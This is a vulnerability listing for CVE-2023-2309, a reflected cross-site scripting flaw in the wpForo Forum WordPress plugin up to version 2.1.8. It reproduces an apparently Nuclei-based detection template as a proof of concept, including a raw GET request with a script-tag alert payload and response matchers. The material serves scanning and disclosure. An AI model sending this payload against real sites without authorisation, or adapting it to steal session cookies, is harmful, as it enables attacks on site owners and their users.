CVE-2023-2309: wpForo Forum <= 2.1.8 - Cross-Site Scripting

2025-08-01 wpForo Forum PoC Public

Description

The wpForo Forum plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the ‘wpforo_debug’ function in versions up to, and including, 2.1.8 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.

PoC

id: CVE-2023-2309

info:
  name: wpForo Forum <= 2.1.8 - Cross-Site Scripting
  author: s4e-io
  severity: medium
  description: |
    The wpForo Forum plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the ‘wpforo_debug’ function in versions up to, and including, 2.1.8 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript through the wpforo_debug function to steal WordPress administrator session cookies when they view crafted links.
  remediation: Fixed in 2.1.9
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-2309
    - https://wpscan.com/vulnerability/1b3f4558-ea41-4749-9aa2-d3971fc9ca0d/
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wpforo/wpforo-forum-218-reflected-cross-site-scripting-via-wpforo-debug
    - https://github.com/fkie-cad/nvd-json-data-feeds
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-2309
    epss-score: 0.00845
    epss-percentile: 0.56205
    cpe: cpe:2.3:a:gvectors:wpforo_forum:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: gvectors
    product: wpforo_forum
    framework: wordpress
    publicwww-query: "/wp-content/plugins/wpforo/"
  tags: cve,cve2023,wordpress,wpforo,wpscan,wp-plugin,wp,xss,vuln

http:
  - raw:
      - |
        GET /community/main-forum/?param=%3Cscript%3Ealert(/document.domain/)%3C/script%3E HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body,"<script>alert(/document.domain/)</script>","wpforo")'
          - 'contains(header,"text/html")'
          - "status_code == 200"
        condition: and
# digest: 490a00463044022036bb05722b6cb4478310739264d4410dfac2f1ea7260835b1d24cb3a131ce2b2022017f6a0109904ed05d4d9efbf4dd5e52ad65366239f7202c1b329bafb69bf8f89:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2023/CVE-2023-2309.yaml

References

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